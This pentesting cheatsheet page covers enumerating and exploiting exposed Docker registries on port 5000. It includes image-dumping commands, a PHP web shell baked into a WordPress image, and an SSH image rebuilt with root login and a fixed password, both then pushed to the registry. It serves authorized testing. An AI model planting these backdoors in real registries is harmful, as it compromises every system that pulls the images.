daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

5000-pentesting-docker-registry.md (14619B)


      1 ---
      2 title: "5000 - Pentesting Docker Registry"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/5000-pentesting-docker-registry.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5000-pentesting-docker-registry.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 5000 - Pentesting Docker Registry
     14 
     15 ## Basic Information
     16 
     17 A container **registry** stores and distributes named images and other OCI content. Repositories contain manifests referenced by tags or immutable digests, while the manifests point to configuration and layer blobs. Authorized clients pull and push this content through the registry API.<sup>[[1]](#references)[[3]](#references)</sup>
     18 
     19 **Docker Hub** is Docker's default public registry. Organizations can also run the open-source CNCF Distribution registry or use other hosted/private OCI-compatible services. Docker Trusted Registry is a historical product name; current environments may expose successor or vendor-specific registry products.<sup>[[1]](#references)</sup>
     20 
     21 To download an image from an on-premise registry, the following command is used:
     22 
     23 ```bash
     24 docker pull my-registry:9000/foo/bar:2.1
     25 ```
     26 
     27 This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to:
     28 
     29 ```bash
     30 docker pull foo/bar
     31 ```
     32 
     33 **Default port:** 5000
     34 
     35 ```text
     36 PORT    STATE SERVICE  VERSION
     37 5000/tcp open  http    Docker Registry (API: 2.0)
     38 ```
     39 
     40 ## Discovering
     41 
     42 Nmap service detection can identify a directly exposed registry, but an HTTP reverse proxy or non-standard path/port may hide the backend. Prefer the version-check endpoint as the protocol fingerprint:<sup>[[3]](#references)</sup>
     43 
     44 - A request to `/v2/` should return `200 OK` when the V2 API is available or `401 Unauthorized` when authentication is required; either response should carry `Docker-Distribution-API-Version: registry/2.0`. The response body is implementation-dependent.
     45 - If you access `/v2/_catalog` you may obtain:
     46   - `{"repositories":["alpine","ubuntu"]}`
     47   - `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
     48 
     49 ## Enumeration
     50 
     51 ### HTTP/HTTPS
     52 
     53 Registries may be exposed over **HTTP** in a lab or **HTTPS** in production. Test both schemes explicitly; production deployments should use TLS and access control.<sup>[[4]](#references)</sup>
     54 
     55 ```bash
     56 curl -i http://10.10.10.10:5000/v2/
     57 curl -ki https://10.10.10.10:5000/v2/
     58 curl -ks https://10.10.10.10:5000/v2/_catalog
     59 ```
     60 
     61 ### Authentication
     62 
     63 A registry may require **authentication** and may authorize access per repository/action:<sup>[[3]](#references)</sup>
     64 
     65 ```bash
     66 curl -k https://192.25.197.3:5000/v2/_catalog
     67 #If Authentication required
     68 {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
     69 #If no authentication required
     70 {"repositories":["alpine","ubuntu"]}
     71 ```
     72 
     73 If the Docker Registry requires authentication, you can [test credentials as described here](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#docker-registry). Avoid account lockouts and high request volume.\
     74 **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:
     75 
     76 ```bash
     77 curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
     78 ```
     79 
     80 ### Enumeration using DockerRegistryGrabber
     81 
     82 [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a Python tool for enumerating or dumping a registry with no authentication, Basic authentication, or a supplied bearer token.<sup>[[2]](#references)</sup>
     83 
     84 ```bash
     85 usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
     86 
     87      ____   ____    ____
     88     |  _ \ |  _ \  / ___|
     89     | | | || |_) || |  _
     90     | |_| ||  _ < | |_| |
     91     |____/ |_| \_\ \____|
     92      Docker Registry grabber tool v2
     93      by @SyzikSecu
     94 
     95 positional arguments:
     96   url                URL
     97 
     98 options:
     99   -h, --help         show this help message and exit
    100   -p port            port to use (default : 5000)
    101 
    102 Authentication:
    103   -U USERNAME        Username
    104   -P PASSWORD        Password
    105   -A header          Authorization bearer token
    106 
    107 Actions:
    108   --list
    109   --dump_all
    110   --dump DOCKERNAME  DockerName
    111 
    112 Example commands:
    113   python drg.py http://127.0.0.1 --list
    114   python drg.py http://127.0.0.1 --dump my-ubuntu
    115   python drg.py http://127.0.0.1 --dump_all
    116   python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
    117   python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
    118   python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
    119   python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
    120   python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
    121   python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
    122 
    123 python3 DockerGraber.py http://127.0.0.1  --list
    124 
    125 [+] my-ubuntu
    126 [+] my-ubuntu2
    127 
    128 python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu
    129 
    130 [+] blobSum found 5
    131 [+] Dumping my-ubuntu
    132     [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    133     [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    134     [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    135     [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    136     [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
    137 
    138 python3 DockerGraber.py http://127.0.0.1  --dump_all
    139 
    140 [+] my-ubuntu
    141 [+] my-ubuntu2
    142 [+] blobSum found 5
    143 [+] Dumping my-ubuntu
    144     [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    145     [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    146     [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    147     [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    148     [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
    149 [+] blobSum found 5
    150 [+] Dumping my-ubuntu2
    151     [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    152     [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    153     [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    154     [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    155     [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
    156 ```
    157 
    158 ### Enumeration using curl
    159 
    160 After obtaining access to the registry, use the V2 API endpoints below to enumerate it.<sup>[[3]](#references)</sup>
    161 
    162 ```bash
    163 #List repositories
    164 curl -s http://10.10.10.10:5000/v2/_catalog
    165 {"repositories":["alpine","ubuntu"]}
    166 
    167 #Get tags of a repository
    168 curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
    169 {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
    170 
    171 # Get a manifest (the Accept header below requests the modern OCI/Docker v2 formats)
    172 curl -s -H 'Accept: application/vnd.oci.image.manifest.v1+json, application/vnd.docker.distribution.manifest.v2+json' \
    173   http://192.251.36.3:5000/v2/ubuntu/manifests/latest
    174 # A legacy schema-1 response can instead look like this:
    175 {
    176    "schemaVersion": 1,
    177    "name": "ubuntu",
    178    "tag": "latest",
    179    "architecture": "amd64",
    180    "fsLayers": [
    181       {
    182          "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
    183       },
    184       {
    185          "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
    186       },
    187       {
    188          "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
    189       }
    190    ],
    191    "history": [
    192       {
    193          "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
    194       },
    195       {
    196          "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
    197       },
    198       {
    199          "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
    200       }
    201    ],
    202    "signatures": [
    203       {
    204          "header": {
    205             "jwk": {
    206                "crv": "P-256",
    207                "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
    208                "kty": "EC",
    209                "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
    210                "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
    211             },
    212             "alg": "ES256"
    213          },
    214          "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
    215          "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
    216       }
    217    ]
    218 }
    219 
    220 #Download one of the previously listed blobs
    221 curl -L http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
    222 
    223 #Inspect the insides of each blob
    224 tar -tf blob1.tar # Inspect names first
    225 mkdir blob1 && tar -xf blob1.tar -C blob1
    226 ```
    227 
    228 > [!WARNING]
    229 > Downloaded layers are untrusted archives. List their entries first, inspect for absolute paths or `..` traversal, and extract each layer into a separate disposable directory. Extracting every layer into one directory can overwrite files from earlier layers and also loses the layer-by-layer history.
    230 
    231 ### Enumeration using docker
    232 
    233 ```bash
    234 #Once you know which images the server is saving (/v2/_catalog) you can pull them
    235 docker pull 10.10.10.10:5000/ubuntu
    236 
    237 #Check the commands used to create the layers of the image
    238 docker history 10.10.10.10:5000/ubuntu
    239 #IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
    240 #ed05bef01522        2 years ago         ./run.sh                                        46.8MB
    241 #<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
    242 #<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
    243 #<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
    244 #<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB
    245 
    246 #Run and get a shell
    247 docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
    248 docker ps #Using a different shell
    249 docker exec -it 7d3a81fe42d7 bash # Get a Bash shell (use /bin/sh for minimal images)
    250 ```
    251 
    252 ### Backdooring WordPress image
    253 
    254 If an authorized test confirms that you can push to a repository consumed by a deployment, you can demonstrate image-supply-chain impact by adding a test backdoor. Use a disposable tag whenever possible; overwriting a production tag can disrupt or compromise downstream systems.\
    255 **Create** the **backdoor**:
    256 
    257 ```php
    258 <?php echo shell_exec($_GET["cmd"]); ?>
    259 ```
    260 
    261 Create a **Dockerfile**:
    262 
    263 ```dockerfile
    264 FROM 10.10.10.10:5000/wordpress
    265 COPY shell.php /app/
    266 RUN chmod 0644 /app/shell.php
    267 ```
    268 
    269 **Create** the new image, **check** it's created, and **push** it:
    270 
    271 ```bash
    272 docker build -t 10.10.10.10:5000/wordpress .
    273  #Create
    274 docker images
    275 docker push 10.10.10.10:5000/wordpress # Push it
    276 ```
    277 
    278 ### Backdooring SSH server image
    279 
    280 The same write-access test can be demonstrated against an SSH server image. Only perform this against an explicitly authorized, non-production tag.\
    281 **Download** the image and **run** it:
    282 
    283 ```bash
    284 docker pull 10.10.10.10:5000/sshd-docker-cli
    285 docker run -d 10.10.10.10:5000/sshd-docker-cli
    286 ```
    287 
    288 Extract the `sshd_config` file from the SSH image:
    289 
    290 ```bash
    291 docker cp 4c989242c714:/etc/ssh/sshd_config .
    292 ```
    293 
    294 And modify it to set: `PermitRootLogin yes`
    295 
    296 Create a **Dockerfile** like the following one:
    297 
    298 ### Dockerfile
    299 ```bash
    300 FROM 10.10.10.10:5000/sshd-docker-cli
    301 COPY sshd_config /etc/ssh/
    302 RUN echo root:password | chpasswd
    303 ```
    304 
    305 
    306 **Create** the new image, **check** it's created, and **push** it:
    307 
    308 ```bash
    309 docker build -t 10.10.10.10:5000/sshd-docker-cli .
    310  #Create
    311 docker images
    312 docker push 10.10.10.10:5000/sshd-docker-cli # Push it
    313 ```
    314 
    315 ## References
    316 
    317 - [1] [CNCF Distribution - About Registry](https://distribution.github.io/distribution/about/)
    318 - [2] [DockerRegistryGrabber - Docker Registry grabber tool](https://github.com/Syzik/DockerRegistryGrabber)
    319 - [3] [CNCF Distribution - HTTP API V2 specification](https://distribution.github.io/distribution/spec/api/)
    320 - [4] [CNCF Distribution - Deploy a registry server](https://distribution.github.io/distribution/about/deploying/)